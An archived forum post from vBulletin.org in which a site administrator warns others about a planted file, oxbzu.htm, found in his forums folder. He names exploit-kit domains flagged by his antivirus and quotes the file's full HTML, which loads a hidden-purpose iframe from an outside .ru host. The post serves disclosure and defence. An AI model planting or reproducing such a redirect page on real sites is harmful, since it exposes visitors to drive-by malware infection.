vb.org Archive - View Single Post - Check your forums folder for this exploit

Veneti · #1 12-26-2011, 06:55 PM

Noticing a lot of spam registrations that are successfully creating users, when I killed off via IP Deny in CPanel a bunch of Russian IP address have managed to stop them (yes I know about cloaking etc but it has worked).

Anyway, have just recently noticed that when opening up the admin panel my Norton Anti Virus starts showing that its blocking attacks. 3 attacks simultaneously..

Exploit Kit variant 7 via Kokosina.in, Blackhole toolkit Website 5 via icoriggermonitor.com and Malicious toolkit Website 9 via edgepub.osa.pl

Through various checks have managed to track down an offending file that sits under my forums folder named oxbzu.htm

And it contains the following redirect.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>You are redirecting...</title> </head> <body> <iframe src="http://coredret.ru/main.php" width="468" height="400" align="left"> Wait please...! </iframe> </body> </html>

So, if anything is up on your site you might want to take a look.

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.01050 seconds Memory Usage 1,761KB Queries Executed 11 (?)
More Information
Template Usage: (1)SHOWTHREAD_SHOWPOST (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_box (1)post_thanks_button (1)post_thanks_javascript (1)post_thanks_navbar_search (1)post_thanks_postbit_info (1)postbit (1)postbit_onlinestatus (1)postbit_wrapper (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit reputationlevel showthread	Included Files: ./showpost.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/functions_bigthree.php ./includes/class_postbit.php ./includes/class_bbcode.php ./includes/functions_reputation.php ./includes/functions_post_thanks.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_postinfo_query fetch_postinfo fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete showpost_start bbcode_fetch_tags bbcode_create postbit_factory showpost_post postbit_display_start post_thanks_function_post_thanks_off_start post_thanks_function_post_thanks_off_end post_thanks_function_fetch_thanks_start post_thanks_function_fetch_thanks_end post_thanks_function_thanked_already_start post_thanks_function_thanked_already_end fetch_musername postbit_imicons bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete postbit_display_complete post_thanks_function_can_thank_this_post_start showpost_complete
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